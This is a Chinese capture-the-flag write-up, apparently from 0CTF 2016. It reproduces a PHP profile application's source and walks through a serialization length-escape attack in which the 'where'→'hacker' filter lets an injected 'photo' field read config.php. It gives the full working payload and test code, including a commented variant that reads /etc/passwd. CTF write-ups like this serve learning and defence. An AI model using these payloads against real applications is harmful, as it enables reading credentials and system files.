知道0ctf比较难，没想到这么难..
思路明确，就是不会 T^T
就撸了一道审计题
一个很简单的登陆系统，给了源码，先放一张超萌的喵
重要的源码给出
config.php<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
flag在config.php文件中
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\'); #\ \\
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
想要拿文件中的flag 思路很明确 用$photo来读取config.php
所以问题肯定在反序列化那里，测试一下发现
只要能构造这样的字符，就能让config.php赋给$photo
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}
给出测试页面的源码
<?php
$profile='a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}';
#$profile='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:11:"/etc/passwd";}';
#$profile='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
echo $phone."<br>";
echo $email."<br>";
echo $nickname."<br>";
echo $photo."<br>";
echo str_replace("<?","",base64_decode($photo));
以及测试图 注意config.php 要与test.php同目录
问题就在于 怎么创建一个这样的字符串
看到 update.php 中 第3个正则明显和前俩个不同
想到可以用数组绕过
我们已经能修改序列化的值了，但是总是被双引号包住，怎么逃逸呢？看这里
这段代码确实没有问题，但重点在于，他是在序列化之后执行的
update_profile 调用了 filter
这会有什么影响呢？举个例子
s:"10":"where1234""; => s:10:"hacker1234""
在反序列化的时候，前者的值是where1234",而后者的值是hacker1234
逃逸了一个字符 而我们要逃逸 ";}s:5:"photo";s:10:"config.php";} 34个字符才可以读取flag
所以payload如下
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
然后访问profile.php就可以了
前来围观
时间: 2016-04-04 at 18:54 回复